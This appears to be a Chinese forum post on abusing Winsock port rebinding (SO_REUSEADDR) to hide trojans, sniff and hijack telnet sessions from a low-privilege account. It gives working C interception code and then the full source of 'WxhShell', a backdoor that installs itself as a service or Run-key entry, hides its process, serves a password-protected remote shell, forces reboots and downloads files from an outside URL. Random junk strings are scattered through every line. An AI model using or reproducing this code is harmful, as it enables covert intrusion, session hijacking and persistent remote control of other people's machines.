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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j6v|D>I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xi['knUi2-  
Aq' yr,  
  saddr.sin_family = AF_INET; < kyT{[e+6  
m>yb}+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "fK`F/  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X`#,*HkK  
D![42H+-Qd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <vMna< /d  
zVN/|[KP4  
  这意味着什么?意味着可以进行如下的攻击: xz2U?)m;x  
6v8HR}iK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U\aP  
\f| Hk*@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZK:dhwer  
cUW>`F( S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^(z7?T  
cs[_TJo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X3[gi`  
kc*zP=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1 & G0;  
e7e6b-"_2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WgHl. :R  
MTBHFjXO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `=m[(CLb  
{g8uMt\4  
  #include m]H[$ Q  
  #include vTnrSNdSE  
  #include 1{6BU!  
  #include    '{]1!yMh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NUxOU>f  
  int main() J%VcvBaJm  
  { D5]AL5=Xt2  
  WORD wVersionRequested; Y~I$goT  
  DWORD ret; }YV,uJH[  
  WSADATA wsaData; 5x$/.U  
  BOOL val; %v}SJEXF p  
  SOCKADDR_IN saddr; u&4CXv=  
  SOCKADDR_IN scaddr; B$A`thQp  
  int err; H~Z$pk%  
  SOCKET s; EY~b,MIL4  
  SOCKET sc; `As| MYv  
  int caddsize; WP(+jL^-  
  HANDLE mt; F; upb5  
  DWORD tid;   W&M=%  
  wVersionRequested = MAKEWORD( 2, 2 ); !LGnh  
  err = WSAStartup( wVersionRequested, &wsaData ); MmIVTf4  
  if ( err != 0 ) { cnJL*{H<2  
  printf("error!WSAStartup failed!\n"); -Iq W@|N  
  return -1; yH`4 sd  
  } hKkUsY=R  
  saddr.sin_family = AF_INET; sb1Zm*m6  
   cb36~{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OGl>i  
! z!lQ~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !T+jb\O_  
  saddr.sin_port = htons(23); ^pI&f{q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6snDv4  
  { |\HYq`!g%7  
  printf("error!socket failed!\n"); LwPZRE#  
  return -1; 0wFa7PyG?  
  }  (~59}lu~  
  val = TRUE; aJ!(c}N~97  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  uj8G6'm%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4Sj;38F .1  
  { m7~<z>5$  
  printf("error!setsockopt failed!\n"); G,jv Mb`+  
  return -1; ?nVwT[  
  } d3nx"=Cy0I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )^Ha?;TS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y#Cp Vm#!>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {c 82bFiv  
j|6@>T1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g&79?h4UXQ  
  { XwZ~pY ~  
  ret=GetLastError(); M-#OPj*  
  printf("error!bind failed!\n"); m7dpr$J  
  return -1; UU7E+4O&  
  } ,H_b@$]n8  
  listen(s,2); z XI [f  
  while(1) `&3hfiI}  
  { L9lNAiOH  
  caddsize = sizeof(scaddr); d65fkz==A)  
  //接受连接请求 Z$UPLg3=;_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mYU7b8x_  
  if(sc!=INVALID_SOCKET) n;Nr[hI  
  { Vxr_2Kra  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gY],U4_:p  
  if(mt==NULL) .J/x@  
  { :Dh\  
  printf("Thread Creat Failed!\n"); U@ ;W^Mt  
  break; 2H,^i,  
  } AZj `o  
  } Sckt gp8  
  CloseHandle(mt); )td?t.4  
  } =up!lg^M  
  closesocket(s); 8+7n"6GY2/  
  WSACleanup(); }NH\Q$IU  
  return 0; @Cnn8Y&'  
  }   iY|zv|;]=  
  DWORD WINAPI ClientThread(LPVOID lpParam) P!6 v0ezN  
  { QNN*/n  
  SOCKET ss = (SOCKET)lpParam; i 4}4U  
  SOCKET sc; 3Y;<Q>roT  
  unsigned char buf[4096]; 6w?l I  
  SOCKADDR_IN saddr; mJ'Q9x"  
  long num; N7wKaezE  
  DWORD val; )s#NQ.T[  
  DWORD ret; slQxz;t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?(t{VdZSzQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >}uDQwX8  
  saddr.sin_family = AF_INET; W[$GB_A)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =\QKzQ'BC  
  saddr.sin_port = htons(23); M1Frn n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )335X wA+  
  { E43Gk!/|(  
  printf("error!socket failed!\n"); %',bCd{QW  
  return -1; J~e%EjN5e  
  } L~Hl?bK  
  val = 100; >`0l"K<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \68x]q[  
  { (G E)  
  ret = GetLastError(); %8L>|QOX  
  return -1; 6Mh;ld@  
  } ORc20NFy7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1"hd5a  
  { 0\y{/P?I$  
  ret = GetLastError(); .uoQ@3  
  return -1; kPuI'EPK  
  } \{GBaMwG~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SU` RHAo  
  { . `ND  
  printf("error!socket connect failed!\n"); AZHZUd4  
  closesocket(sc); "3?N*,U_  
  closesocket(ss); I,nW~;OV0  
  return -1; L@&(>  
  } ZCcKY6b  
  while(1) xn &$qLB  
  { t_+Xt$Q7C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *l-f">?|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Jc3Z1Tt  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i3SrsVSG  
  num = recv(ss,buf,4096,0); YVcO+~my  
  if(num>0) AB:JXMyK  
  send(sc,buf,num,0); 2~wIHtd  
  else if(num==0) J% b`*?A  
  break; +HpPVuV  
  num = recv(sc,buf,4096,0); .boBo$f  
  if(num>0) rgK:ujzW!  
  send(ss,buf,num,0); 2VZdtz  
  else if(num==0) P<OSm*;U:  
  break; Twi7g3}/jB  
  } ^W*T~V*8  
  closesocket(ss); HtN!Hgpwg  
  closesocket(sc); d41DcgG'j(  
  return 0 ; HT% =o}y  
  } 4H]~]?F&  
f)b+>!  
2X)n.%4g$;  
========================================================== sx]kH$  
rYP72<   
下边附上一个代码,,WXhSHELL Rt6(y #dF  
M];?W  
========================================================== kLfk2A;'i  
+%'!+r l  
#include "stdafx.h" JHvawFBN<u  
FD*) @4<o  
#include <stdio.h> h8)m2KrZ!.  
#include <string.h> b<]Ae!I'  
#include <windows.h> AY B~{  
#include <winsock2.h> ..=WG@>$+  
#include <winsvc.h> ';>A=m9(4%  
#include <urlmon.h> Y48MCL  
|Q\O% cb  
#pragma comment (lib, "Ws2_32.lib") %p(!7FDE2n  
#pragma comment (lib, "urlmon.lib") \8}!aTC  
N6%wHNYZ  
#define MAX_USER   100 // 最大客户端连接数 ~w,c6 Z  
#define BUF_SOCK   200 // sock buffer brpsZU  
#define KEY_BUFF   255 // 输入 buffer c*~ /`lG  
R2` -*PZ_  
#define REBOOT     0   // 重启 u &qFE=5:  
#define SHUTDOWN   1   // 关机 5Kw$QJ/  
mV'XH  
#define DEF_PORT   5000 // 监听端口 iKVJ c=C  
v*[oe  
#define REG_LEN     16   // 注册表键长度 k7cM.<s!  
#define SVC_LEN     80   // NT服务名长度 IBn+4 2V  
G< _<j}=  
// 从dll定义API Mcfqo0T-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5IJm_oy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0hB9D{`,{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [(kC/W)!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9ZVzIv(   
$E,,::oJ  
// wxhshell配置信息 z,+LPr  
struct WSCFG { .VG5 / 6zp  
  int ws_port;         // 监听端口 ;+3XDz v  
  char ws_passstr[REG_LEN]; // 口令  nPRv.h  
  int ws_autoins;       // 安装标记, 1=yes 0=no U-6pia /o  
  char ws_regname[REG_LEN]; // 注册表键名 a@ v}j&  
  char ws_svcname[REG_LEN]; // 服务名 W3E7y?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (/;<K$u*h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $eU oFa5A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nb|KIW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6Qw5_V^0o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l RM7s(^l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6!T9VL\=H  
R[vA%G  
}; |1/UC"f  
g=)OcTd#  
// default Wxhshell configuration 98ot{+/LK  
struct WSCFG wscfg={DEF_PORT, bZ-_Q  
    "xuhuanlingzhe", !V~,aoKTj  
    1, (Z |Nz*<  
    "Wxhshell", 2qgm(jo *y  
    "Wxhshell", }|9!|Q  
            "WxhShell Service", 3X:)r<  
    "Wrsky Windows CmdShell Service", 7) zF8V  
    "Please Input Your Password: ", QJ^'Uyfdn  
  1, Ej#pM.  
  "http://www.wrsky.com/wxhshell.exe", {W11+L{8  
  "Wxhshell.exe" rUxjm\  
    }; 4^3lG1^YY  
'wT !X[jF  
// 消息定义模块 O-,0c1ts  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,~nrNkhp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Yj{-|2YzL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )[np{eF.k  
char *msg_ws_ext="\n\rExit."; I(Gl8F\c~  
char *msg_ws_end="\n\rQuit."; rInZd`\  
char *msg_ws_boot="\n\rReboot..."; ~Iz{@Ep*  
char *msg_ws_poff="\n\rShutdown..."; es!>u{8)  
char *msg_ws_down="\n\rSave to "; k%Wj+\93 f  
bB+ 4  
char *msg_ws_err="\n\rErr!"; MG-#p8  
char *msg_ws_ok="\n\rOK!"; VXP@)\!  
mzm{p(.  
char ExeFile[MAX_PATH]; cUj^aTpm  
int nUser = 0; y{g"w  
HANDLE handles[MAX_USER]; i38`2  
int OsIsNt; M"s+k  
p?V@P6h  
SERVICE_STATUS       serviceStatus; 1%$Z%?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PdqyNn=  
Y_= ]w1  
// 函数声明 ?^gq  
int Install(void); 60--6n  
int Uninstall(void); L]Dq1q8`  
int DownloadFile(char *sURL, SOCKET wsh); _~.S~;o!b  
int Boot(int flag); wBI>H 7A  
void HideProc(void); T8NDS7&?  
int GetOsVer(void); | {Tq/  
int Wxhshell(SOCKET wsl); k@|Go )~  
void TalkWithClient(void *cs); a98J_^n  
int CmdShell(SOCKET sock); -LU%z'  
int StartFromService(void); ;:1o|>mX  
int StartWxhshell(LPSTR lpCmdLine); C+%6N@  
E(!b_C&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ["WWaCcx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?bGk%jjHXM  
T!X`"rI  
// 数据结构和表定义 ht_'GBS)  
SERVICE_TABLE_ENTRY DispatchTable[] = w&x$RP  
{ Cs'<;|r(  
{wscfg.ws_svcname, NTServiceMain}, qGdoRrp0Ov  
{NULL, NULL} 8 k )i-&R  
}; LV@tt&|N  
D}~uxw;[^  
// 自我安装 0b}.!k9  
int Install(void) ZVz`g]  
{ .&2~g A  
  char svExeFile[MAX_PATH]; V`m9+<.1b  
  HKEY key; opgNt o6$  
  strcpy(svExeFile,ExeFile); ,}/6Za  
Xbu P_U'  
// 如果是win9x系统,修改注册表设为自启动 c2wgJH!g  
if(!OsIsNt) { lf\x`3Vd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u;9a/RI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |#ZMZmo{  
  RegCloseKey(key); r2m&z%N &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u]Z;Q_=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F^CR$L& K  
  RegCloseKey(key); NH<~B C]I  
  return 0; -5Oy k,  
    } /vs79^&  
  } y\_k8RqE^  
} e2kW,JV/<$  
else { <>H^:iqn  
\V T.bUs  
// 如果是NT以上系统,安装为系统服务 (_=R<:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mc{-2  
if (schSCManager!=0) '"T9y=9]s  
{ uM,R+)3  
  SC_HANDLE schService = CreateService 1s.>_  
  ( $|t={s34  
  schSCManager, Nx"|10gC  
  wscfg.ws_svcname, bnZ H  
  wscfg.ws_svcdisp, kS4YxtvB  
  SERVICE_ALL_ACCESS, BS3{TGn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W'6sY@0m  
  SERVICE_AUTO_START, 3)y=}jw  
  SERVICE_ERROR_NORMAL, \_x~lRqJJ  
  svExeFile, LfN,aW  
  NULL, .'NTy R  
  NULL, tLcw?aB  
  NULL, "c+$GS  
  NULL, Qna*K7kv  
  NULL CA5T3J@vAQ  
  ); 9"zp>VR  
  if (schService!=0) Y h53Z"a  
  { mbns%%GJU  
  CloseServiceHandle(schService); O8~RfB  
  CloseServiceHandle(schSCManager); =#vJqA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $Z3{D:-)  
  strcat(svExeFile,wscfg.ws_svcname); *fz#B/ _o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nl~ Z,Y$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gwr?(:?  
  RegCloseKey(key); @9~x@[  
  return 0; 2R W~jn"  
    } w c  
  } q]U!n  
  CloseServiceHandle(schSCManager); m\70&%v  
} L1f=90  
} MRg Ozg  
%y7ZcH'  
return 1; iNc!z A4  
} =~5N/!  
YRMe<upo  
// 自我卸载 tEt46]{  
int Uninstall(void) )+ 'r-AF*  
{ U8-OQ:2.  
  HKEY key; \(--$9  
?#Y:2LqPC  
if(!OsIsNt) { vK`HgRQ(C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Ms&WYN-  
  RegDeleteValue(key,wscfg.ws_regname); +o):grWvQ  
  RegCloseKey(key); =iH9=}aBFC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sWB@'P:x  
  RegDeleteValue(key,wscfg.ws_regname); .FV^hrJxI;  
  RegCloseKey(key); sVGQSJJ5  
  return 0; bZr,jLEf  
  } #c":y5:  
} Xvoz4'Gme  
} Bl^ BtE?-b  
else { *?$M=tH  
v??$z#1F3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i=1crJ:  
if (schSCManager!=0) '$eJATtC  
{ 6kMkFZ}+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Gs,e8ri!  
  if (schService!=0) ,p /{!BX  
  { nA{yH}D4  
  if(DeleteService(schService)!=0) { [^7P ]olW  
  CloseServiceHandle(schService); 8!HB$vdw7  
  CloseServiceHandle(schSCManager); Od ^Sr4C  
  return 0; *A4eYHn@  
  } AJE$Z0{q  
  CloseServiceHandle(schService); cD=IFOB*GD  
  } gFrNk Uqp  
  CloseServiceHandle(schSCManager); =FI[/"476  
} sH_, P  
} %K.rrn M  
0w0{@\9  
return 1; Jz3,vV fQ:  
} #HW<@E  
8ICV"8(  
// 从指定url下载文件 &%GAPs%  
int DownloadFile(char *sURL, SOCKET wsh) +GL$[ 5G  
{ hvQXYo>TZx  
  HRESULT hr; biBMd(6  
char seps[]= "/"; u`.)O2)xU  
char *token; -%gEND-AP  
char *file; ZO%iyc%  
char myURL[MAX_PATH]; )7[#Ti  
char myFILE[MAX_PATH]; U8y?S]}vo  
2  
strcpy(myURL,sURL); $COjC!M  
  token=strtok(myURL,seps); >iRkhA=Vg  
  while(token!=NULL) -u4")V>  
  { iP;" -Mj  
    file=token; YYPJ (o\  
  token=strtok(NULL,seps); iU37LODa2T  
  } ?w'86^_z  
l'aCpzf  
GetCurrentDirectory(MAX_PATH,myFILE); q<! -Anc  
strcat(myFILE, "\\"); <Z<meB[g  
strcat(myFILE, file); S4[ #[w`=  
  send(wsh,myFILE,strlen(myFILE),0); CfSP*g0rW  
send(wsh,"...",3,0); "om7 : d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '6WS<@%}  
  if(hr==S_OK) 5oSp/M  
return 0; **kix  
else *B}O  
return 1; Qubu;[0+a  
qIQRl1Tw;V  
} X<Z(,B  
X!/Sk1  
// 系统电源模块 Iz#4!E|<  
int Boot(int flag) &KAe+~aPm  
{ z\A ),;  
  HANDLE hToken; Z+J4 q9^$  
  TOKEN_PRIVILEGES tkp; (.V),NKG  
 fFqYRK  
  if(OsIsNt) { r{9fm,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \yFUQq:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UO@K:n  
    tkp.PrivilegeCount = 1; ,xVAJ6_#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  w:QO@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;l0 dx$w  
if(flag==REBOOT) { '!8-/nlv1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xlu4  
  return 0; /\h*v!:  
} ?z&%VU"  
else { /OzoeI t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ){"?@1vP  
  return 0; Yg3nT:K_Y&  
} @x+2b0 b  
  } nWY^?e'S  
  else { C` ky=  
if(flag==REBOOT) { 6`@J=Q?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,r;xH}tbi  
  return 0; >>$`]]7  
} 3cL iZ%6^  
else { pC>h"Hy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tOLcnWt   
  return 0; jJNCNH*0  
} )j>U4a  
} -LszaMR}  
8Ejb/W_  
return 1; p ZTrh&I]  
} ~Q]5g7k=&  
%csrNf  
// win9x进程隐藏模块 0~^RHb.NA8  
void HideProc(void) Q'jw=w!|g  
{ }}QR'  
pOo016afmA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qrlC U4  
  if ( hKernel != NULL ) +K`A2&F9  
  { r.\L@Y<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q_h (D/g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IUFc_uL@\  
    FreeLibrary(hKernel); Y -a   
  } K8_v5  
R/ZScOW[  
return; SULFAf<  
} kY~4AH  
mnsl$H_4S  
// 获取操作系统版本 ?zf3Fn2y  
int GetOsVer(void) bT^dtEr[  
{ Oti*"dV\::  
  OSVERSIONINFO winfo; ZhA_d#qH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F^NK"<tW  
  GetVersionEx(&winfo); {4G/HW28  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VE|l;aXi  
  return 1; :]m.&r S,  
  else Ec@n<KK#  
  return 0; *(F`NJ 3  
} yQD>7%x  
Z)#UCoK!c  
// 客户端句柄模块 5FoZ$I  
int Wxhshell(SOCKET wsl) bItcF$#!!!  
{ pi?MAE*f  
  SOCKET wsh; TQF+aP8[L  
  struct sockaddr_in client; n|~y >w4  
  DWORD myID; j ) 6  
DVL-qt\;n  
  while(nUser<MAX_USER) 0 5`"U#`:  
{ @i1e0;\  
  int nSize=sizeof(client); S%i^`_=Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;/j2(O^  
  if(wsh==INVALID_SOCKET) return 1; U%nkPIFm  
~P1~:AT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =1l6( pJ  
if(handles[nUser]==0) ,_Z(!| rW  
  closesocket(wsh); kt/,& oKI  
else ,twx4r^  
  nUser++; cQU;PH]  
  } _fHml   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y>P+"Z.K%}  
vjuFVJwL  
  return 0; WEimJrAn  
} '+PKGmRW  
N T`S)P*?  
// 关闭 socket <-umeY"n>  
void CloseIt(SOCKET wsh) 'dLw8&T+W  
{ 4+RR`I8$Ge  
closesocket(wsh); 08`|C)Z!  
nUser--; A9$x8x*Lt  
ExitThread(0); %=`JWLLG  
} $ F2Uv\7=  
%;,fI'M  
// 客户端请求句柄 +xFn~b/  
void TalkWithClient(void *cs) Z7;V}[wie  
{ 'a ['lF  
\CL8~  
  SOCKET wsh=(SOCKET)cs; $5R2QNg n  
  char pwd[SVC_LEN]; : uncOd.  
  char cmd[KEY_BUFF]; h: ' |)O  
char chr[1]; 4Z"}W!A  
int i,j; 3e_tT8  
I\~[GsDY  
  while (nUser < MAX_USER) { >HP `B2Q H  
~]?:v,UIm(  
if(wscfg.ws_passstr) { gq7tSkH@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [FO4x`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b3ohTmy4(  
  //ZeroMemory(pwd,KEY_BUFF); ;CYoc4e  
      i=0; Re$h6sh  
  while(i<SVC_LEN) { ?d7,0Ex P  
X0lPRk53(  
  // 设置超时 Bm$|XS3cD  
  fd_set FdRead; U'fP  
  struct timeval TimeOut; U\KMeaF5e-  
  FD_ZERO(&FdRead); [C'bfX5HB5  
  FD_SET(wsh,&FdRead); |N.2iN:  
  TimeOut.tv_sec=8; b6D;98p  
  TimeOut.tv_usec=0; 9`tK 9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BI1M(d#1L"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bn}woyJdx  
o?`FjZ6;x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3Z!%td5n  
  pwd=chr[0]; smP4KC"I(d  
  if(chr[0]==0xd || chr[0]==0xa) { 5'AP:3Gf"  
  pwd=0; n5:uG'L\  
  break; "H-s_Y#  
  } o`bch? ]  
  i++; )GD7 rsC`<  
    } :gVUk\)  
K@JZ$  
  // 如果是非法用户,关闭 socket DB'v7 Ij0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `|dyT6V0I_  
} b9b Ivjm_  
T[oC='I+O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hlzB cz*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); akj<*,  
A;oHji#*  
while(1) { 3:J>-MO  
#N|\7(#~u  
  ZeroMemory(cmd,KEY_BUFF); &V].,12x  
H>~CL  
      // 自动支持客户端 telnet标准   broLC5hbQU  
  j=0; u47<J?!Q  
  while(j<KEY_BUFF) { dWAt#xII  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @X==[gQ  
  cmd[j]=chr[0]; MmF&jd-=  
  if(chr[0]==0xa || chr[0]==0xd) { J4Gzp~{  
  cmd[j]=0; !~ox;I}S  
  break; *1|7%*!8  
  } $0])%   
  j++; VYk:c`E  
    } OVg&?fiP  
':*H#}Br-#  
  // 下载文件 \J'}CX*aQ  
  if(strstr(cmd,"http://")) { M0V<Ay\%O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +VIA@`4  
  if(DownloadFile(cmd,wsh)) @8d 3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XT7m3M  
  else #<{v~sVp&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {6i|"5_j  
  } K-RmB4WI  
  else { TnrBHaxbo4  
W06aj ~7Z  
    switch(cmd[0]) { HsY5wC  
  X8C7d6ca  
  // 帮助 Jf YgZ\#  
  case '?': { 4G&`&fff]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i%2u>N i^  
    break; y|`-)fY  
  } GZ%vFje_ K  
  // 安装 rXx#<7`  
  case 'i': { c(Q@5@1y:  
    if(Install()) Dqy`7?Kn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8^7Oc,:~  
    else 'l*X?ccKy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ww2mL <B  
    break; 4f LRl-)  
    } HNzxF nh  
  // 卸载 U>S  
  case 'r': { Al>d 21U  
    if(Uninstall()) xyL"U*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sJ6.3= c  
    else $xO8?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f$I=o N  
    break; 4 m:h&^`N  
    } o'2eSm0H  
  // 显示 wxhshell 所在路径 R1];P*>%gZ  
  case 'p': { @MSmg3 &  
    char svExeFile[MAX_PATH]; =2\2Sp  
    strcpy(svExeFile,"\n\r"); zWY988fX0  
      strcat(svExeFile,ExeFile); 6tKrR{3#A  
        send(wsh,svExeFile,strlen(svExeFile),0); Ss[[V(-  
    break; 6bm7^e(  
    } ee {ToK  
  // 重启 Hw \of  
  case 'b': { _ *f>UW*,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #U:|- a.>  
    if(Boot(REBOOT)) 9q'9i9/3d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *HoRYCL  
    else { b RAD_  
    closesocket(wsh); CG1MT(V7?  
    ExitThread(0); 1wFu3fh@  
    } ]]j^  
    break; M(X _I`\E  
    } .}==p&(  
  // 关机 aTcz5g0"  
  case 'd': { ~I|| "$R  
